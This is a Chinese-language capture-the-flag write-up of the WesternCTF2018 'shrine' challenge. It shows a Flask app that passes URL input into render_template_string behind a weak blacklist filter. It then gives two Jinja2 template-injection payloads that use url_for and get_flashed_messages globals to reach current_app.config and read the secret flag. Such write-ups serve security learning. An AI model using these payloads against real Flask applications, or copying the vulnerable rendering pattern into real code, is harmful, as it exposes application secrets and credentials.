[WesternCTF2018]shrine
作者:互联网
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
首先看到 app.config['FLAG'] = os.environ.pop('FLAG') 那么这个web应用的config应该就包含着FLAG变量,而这个变量里就存在着我们需要的flag,需要去查看应用的config
render_template_string(safe_jinja(shrine)),这段代码可以看到直接把shrine路径后面的字符串传入,造成了SSTI但是这个地方过滤掉了config、self和(、)无法直接获得config,不然输入{{config}}或者{{self.__dict__}}就可以得到config 这时我们需要读取一些全局变量,利用python对象之间的引用关系来调用被禁用的函数 这里有两个包含了如current_app的函数,url_for和get_flashed_messages来获取当前app的config payload1: {{url_for.__globals__['current_app'].config}} payload2: {{get_flashed_messages.__globals__['current_app'].config}}
标签:__,jinja,app,WesternCTF2018,FLAG,shrine,config 来源: https://www.cnblogs.com/1jzz/p/14322572.html